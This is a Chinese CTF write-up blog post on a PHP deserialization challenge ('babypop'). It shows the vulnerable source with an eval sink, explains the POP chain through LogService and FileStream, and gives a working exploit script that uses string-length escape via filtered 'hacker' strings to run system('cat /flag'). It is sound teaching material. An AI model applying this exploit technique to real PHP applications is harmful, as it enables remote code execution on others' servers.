news 2026/3/1 2:17:24

babypop-furryctf高校联合新申赛POFP赛道web

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
babypop-furryctf高校联合新申赛POFP赛道web

(还是太菜了,看了web方向的wp好多还是我没学过的,看也看不懂,然后因为最近做过反序列化打算磕一磕babypop然后一大串的看着看着发现自己好像又不会了,又去重新补了一下基础,再结合wp自己捋一遍)

题目源码如下:

<?php error_reporting(0); // 关闭所有错误报告 highlight_file(__FILE__); // 高亮显示当前PHP文件源代码 class SecurityProvider { private $token; // 私有属性,存储安全令牌 public function __construct() { $this->token = md5(uniqid()); // 使用唯一ID生成MD5值作为token } public function verify($data) { if (strpos($data, '..') !== false) { // 检查数据中是否包含".."(目录遍历特征) die("Attack Detected"); // 发现攻击则终止脚本 } return $data; // 返回原数据 } } class LogService { protected $handler; // 日志处理器 protected $formatter; // 日志格式化器 public function __construct($handler = null) { $this->handler = $handler; // 设置处理器 $this->formatter = new DateFormatter(); // 默认使用DateFormatter作为格式化器 } public function __destruct() { // 对象销毁时,如果处理器存在且有关闭方法,则调用它 if ($this->handler && method_exists($this->handler, 'close')) { $this->handler->close(); } } } class FileStream { private $path; // 文件路径 private $mode; // 模式(普通或调试) public $content; // 文件内容(公开属性) public function __construct($path, $mode) { $this->path = $path; $this->mode = $mode; } public function close() { if ($this->mode === 'debug' && !empty($this->content)) { // 调试模式下且有内容 $cmd = $this->content; if (strlen($cmd) < 2) return; // 命令长度小于2则返回 @eval($cmd); // 执行eval命令(关键漏洞点) } else { return true; } } } class DateFormatter { public function format($timestamp) { return date('Y-m-d H:i:s', $timestamp); // 格式化时间戳 } } class UserProfile { public $username; // 用户名 public $bio; // 用户简介 public $preference; // 用户偏好设置(存储DateFormatter对象) public function __construct($u, $b) { $this->username = $u; $this->bio = $b; $this->preference = new DateFormatter(); // 默认设置为DateFormatter对象 } } class DataSanitizer { public static function clean($input) { // 移除输入中的所有"hacker"字符串(存在反序列化字符串长度逃逸漏洞) return str_replace("hacker", "", $input); } } // 主程序逻辑开始 $raw_user = $_POST['user'] ?? null; // 获取POST参数user $raw_bio = $_POST['bio'] ?? null; // 获取POST参数bio if ($raw_user && $raw_bio) { $sec = new SecurityProvider(); $sec->verify($raw_user); // 检查user参数是否包含".." $sec->verify($raw_bio); // 检查bio参数是否包含".." $profile = new UserProfile($raw_user, $raw_bio); // 创建UserProfile对象 $data = serialize($profile); // 序列化对象 if (strlen($data) > 4096) { // 检查序列化数据长度 die("Data too long"); } $safe_data = DataSanitizer::clean($data); // 移除所有"hacker"字符串 $unserialized = unserialize($safe_data); // 反序列化处理后的数据 if ($unserialized instanceof UserProfile) { echo "Profile loaded for " . htmlspecialchars($unserialized->username); } } ?>

因为之前做的反序列化都是一小串的,直接从头看到尾,然后发现在这里就不行了,顺着看下去看完前面的也忘了,所以这类题目还是倒着看好,先看主程序,再找在主程序中调用的方法。

主程序解读:

主程序首先要以POST方式传user和bio,然后先调用verify(),我们回到之前的代码看看verify是干啥的:

public function verify($data) { if (strpos($data, '..') !== false) { // 检查数据中是否包含".."(目录遍历特征) die("Attack Detected"); // 发现攻击则终止脚本 } return $data; // 返回原数据

这里就是防止目录遍历,然后就是实例化Userprofile,那么再回到这个类里:

class UserProfile { public $username; // 用户名 public $bio; // 用户简介 public $preference; // 用户偏好设置(存储DateFormatter对象) public function __construct($u, $b) { $this->username = $u; $this->bio = $b; $this->preference = new DateFormatter(); // 默认设置为DateFormatter对象 } }

这里的$u,$b即我们在主程序中上传的两个量,然后这里还设置了一个公共属性的preference,而在这里的preference已经被设置为DateFormatter对象。

后面就是进行序列化,再调用DataSanitizer::clean()移除hacker,最后对其反序列化。


初步分析

这里首先我们要找的是能够执行命令的地方:

public function close() { if ($this->mode === 'debug' && !empty($this->content)) { // 调试模式下且有内容 $cmd = $this->content; if (strlen($cmd) < 2) return; // 命令长度小于2则返回 @eval($cmd); // 执行eval命令(关键漏洞点) } else { return true; } } }

在FileStream中调用的close()方法cun存在eval命令,所以我们要找能调用close方法的类,然后看到LogService:

class LogService { protected $handler; // 日志处理器 protected $formatter; // 日志格式化器 public function __construct($handler = null) { $this->handler = $handler; // 设置处理器 $this->formatter = new DateFormatter(); // 默认使用DateFormatter作为格式化器 } public function __destruct() { // 对象销毁时,如果处理器存在且有关闭方法,则调用它 if ($this->handler && method_exists($this->handler, 'close')) { $this->handler->close(); } } }

我们构造一个 LogService 对象,并把它的 $handler 属性设置为上面的 FileStream 对象,那么脚本结束时,就会调用close()方法。

然后就要回到之前的UserProfile里面了,preference的属性已经是固定的DataFormatter类,这个在我们构造pop链时没有作用,我们需要的是让preference成为LogService类能去调用close()方法,如果我们直接将bio里面输入preference如;s:10:"preference"只是这个字符串的文本内容,不是PHP序列化语法,所以这里要用到字符串逃逸让我们的preference被当作新的字段定义,成为真正的序列化语法。而这里就能够用到:

class DataSanitizer { public static function clean($input) { // 移除输入中的所有"hacker"字符串(存在反序列化字符串长度逃逸漏洞) return str_replace("hacker", "", $input); } }

就比如我们让username为hacker,如果Userprofile是这样的:

O:11:"UserProfile":3:{s:8:"username";s:6:"hacker";s:3:"bio";s:长度:"恶意内容";s:10:"preference";....}

那么经过字符串逃逸之后就会变成:

O:11:"UserProfile":3:{s:8:"username";s:6:"";s:3:"bio";s:长度:"恶意内容";s:10:"preference";...}

那么后面的字符就会往前补,如果字符结束之后刚好是分号,就代表闭合,后面的就成为了新的字段【即我们所需要的preference】。

脚本构造:

进行上述分析之后,就可以按照wp先构造pop链对象:

<?php class LogService { protected $handler; protected $formatter; public function __construct($h = null) { $this->handler = $h; $this->formatter = new DateFormatter(); } } class FileStream { private $path; private $mode; public $content; public function __construct($p, $m) { $this->path = $p; $this->mode = $m; } } // 1. 最内层:FileStream(执行命令) $f = new FileStream('exploit.log', 'debug'); $f->content = 'system("cat /flag");'; // 2. 中间层:LogService(触发链条) $l = new LogService($f); // $f作为handler // 注意:LogService构造函数会自动设置formatter为DateFormatter // 3. 序列化LogService对象(注意不是UserProfile) $bad = serialize($l); 结果:O:10:"LogService":2:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";s:11:"exploit.log";s:16:"FileStreammode";s:5:"debug";s:7:"content";s:20:"system("cat /flag");";}s:12:"*formatter";O:13:"DateFormatter":0:{}}

最后的最后,就是如何设置username和bio前缀的长度来达到刚好闭合的效果,也是利用脚本:

// 步骤2:自动计算字符串逃逸的payload for ($i = 0; $i < 2000; $i++) { // 循环尝试不同的填充长度(0-1999) // 创建填充字符串,i个"A",用于调整总长度 $pad = str_repeat("A", $i); // 构造bio参数的值:填充 + 结束引号 + preference字段定义 + 恶意对象 + 结束符 // 格式:AAAAA";s:10:"preference";O:10:"LogService":{...}}; // 注意:结尾的}; 用于提前结束UserProfile对象 $bio = $pad . '";s:10:"preference";' . $bad . ';}'; // 计算需要被username字段"吃掉"的字符串 // 格式:";s:3:"bio";s:[bio长度]:"AAAAA // 解释: // " - 结束username字符串的引号 // ; - 结束当前值 // s:3:"bio" - bio字段声明 // ; - 结束字段名 // s:[bio长度]:" - bio字段长度声明 // AAAAA - bio值的开头(填充部分) $eat = '";s:3:"bio";s:' . strlen($bio) . ':"' . $pad; // 关键检查:被吃掉的字符串长度必须是6的倍数 // 原因:每个"hacker"被移除时减少6个字符 // 需要n个hacker来创造6n个字符的缺口,正好吞掉$eat if (strlen($eat) % 6 === 0) { // 计算需要多少个"hacker":$eat长度 ÷ 6 $hacker_count = strlen($eat) / 6; // 输出最终的攻击payload // user参数:多个"hacker"(创造字符串逃逸缺口) // bio参数:URL编码后的恶意payload echo "user=" . str_repeat("hacker", $hacker_count) . "&bio=" . urlencode($bio); // 找到第一个可行解就停止 break; } } ?>

这里面需要注意的是在源代码中propfile在进行new UserProfile时最后面还是会生成s:10:"preference";O:13:"DateFormatter"但是在脚本中的profile作为新的字段已经表示了Userprofile对象,加上闭合符就代表着}字符告诉PHP:"UserProfile对象到此结束",如果没有:

  • PHP会继续解析后面的内容

  • 看到默认的s:10:"preference";O:13:"DateFormatter"

  • 但UserProfile已经有一个preference字段了(我们注入的)

  • 一个对象不能有两个同名字段→ 解析失败

这也是字符串逃逸攻击的精妙之处——不仅要注入恶意内容,还要阻止原始内容被解析。

如有错误之处恳请师傅们指正。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/25 5:15:44

跨平台容器方案终极指南:如何选择最适合你的Lima配置

跨平台容器方案终极指南&#xff1a;如何选择最适合你的Lima配置 【免费下载链接】lima Linux virtual machines, with a focus on running containers 项目地址: https://gitcode.com/GitHub_Trending/lim/lima 在容器化技术主导的开发环境中&#xff0c;多平台兼容性已…

作者头像 李华
网站建设 2026/2/19 5:05:19

社交管理工具如何重塑虚拟社交体验

社交管理工具如何重塑虚拟社交体验 【免费下载链接】VRCX Friendship management tool for VRChat 项目地址: https://gitcode.com/GitHub_Trending/vr/VRCX 在虚拟社交平台中&#xff0c;用户常常面临好友动态追踪困难、社交互动效率低下等问题。VRCX作为一款专为VRCha…

作者头像 李华
网站建设 2026/2/17 23:23:04

解锁智能显示屏潜能:Python驱动的系统监控全方位指南

解锁智能显示屏潜能&#xff1a;Python驱动的系统监控全方位指南 【免费下载链接】turing-smart-screen-python Unofficial Python system monitor and library for small IPS USB-C displays like Turing Smart Screen or XuanFang 项目地址: https://gitcode.com/GitHub_Tr…

作者头像 李华
网站建设 2026/2/26 15:17:16

AI编程助手如何提升开发效率:从入门到精通指南

AI编程助手如何提升开发效率&#xff1a;从入门到精通指南 【免费下载链接】kilocode Kilo Code (forked from Roo Code) gives you a whole dev team of AI agents in your code editor. 项目地址: https://gitcode.com/GitHub_Trending/ki/kilocode 在当今快节奏的开发…

作者头像 李华